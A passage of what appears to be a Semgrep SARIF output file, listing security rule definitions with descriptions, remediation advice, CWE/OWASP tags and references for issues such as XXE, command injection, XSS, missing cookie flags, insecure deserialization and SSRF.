python.lang.security.deserialization.pickle.avoid-shelve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","id":"java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","name":"java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","id":"kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","name":"kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."},"help":{"markdown":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.injections.os-command.os-command-injection)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.injections.os-command.os-command-injection","id":"csharp.lang.security.injections.os-command.os-command-injection","name":"csharp.lang.security.injections.os-command.os-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.injections.os-command.os-command-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.missing-secure.missing-secure)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.missing-secure.missing-secure","id":"java.micronaut.audit.cookies.missing-secure.missing-secure","name":"java.micronaut.audit.cookies.missing-secure.missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.missing-secure.missing-secure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose."},"help":{"markdown":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","id":"python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","name":"python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","id":"python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","name":"python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!"},"help":{"markdown":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","id":"ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","name":"ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function."},"help":{"markdown":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url)\n - [https://golang.org/pkg/html/template/#URL](https://golang.org/pkg/html/template/#URL)\n","text":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","id":"go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","name":"go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code."},"help":{"markdown":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-autoescape-off.template-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/templates/builtins/#autoescape](https://docs.djangoproject.com/en/3.1/ref/templates/builtins/#autoescape)\n","text":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","id":"python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","name":"python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-autoescape-off.template-autoescape-off"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review."},"help":{"markdown":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis)\n - [https://mas.owasp.org/MASVS/10-MASVS-CODE/](https://mas.owasp.org/MASVS/10-MASVS-CODE/)\n","text":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review."},"helpUri":"https://semgrep.dev/r/swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","id":"swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","name":"swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality."},"help":{"markdown":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostipc-pod.hostipc-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostipc-pod.hostipc-pod","id":"yaml.kubernetes.security.hostipc-pod.hostipc-pod","name":"yaml.kubernetes.security.hostipc-pod.hostipc-pod","properties":{"precision":"very-high","tags":["CWE-693: Protection Mechanism Failure","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostipc-pod.hostipc-pod"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","id":"javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","name":"javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi)\n - [https://fastapi.tiangolo.com/advanced/templates/](https://fastapi.tiangolo.com/advanced/templates/)\n - [https://fastapi.tiangolo.com/uk/advanced/custom-response/#htmlresponse](https://fastapi.tiangolo.com/uk/advanced/custom-response/#htmlresponse)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","id":"python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","name":"python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"help":{"markdown":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.html-magic-method.html-magic-method)\n - [https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#conditional_escape](https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#conditional_escape)\n - [https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5](https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5)\n","text":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.html-magic-method.html-magic-method","id":"python.django.security.audit.xss.html-magic-method.html-magic-method","name":"python.django.security.audit.xss.html-magic-method.html-magic-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.html-magic-method.html-magic-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","id":"python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","name":"python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user 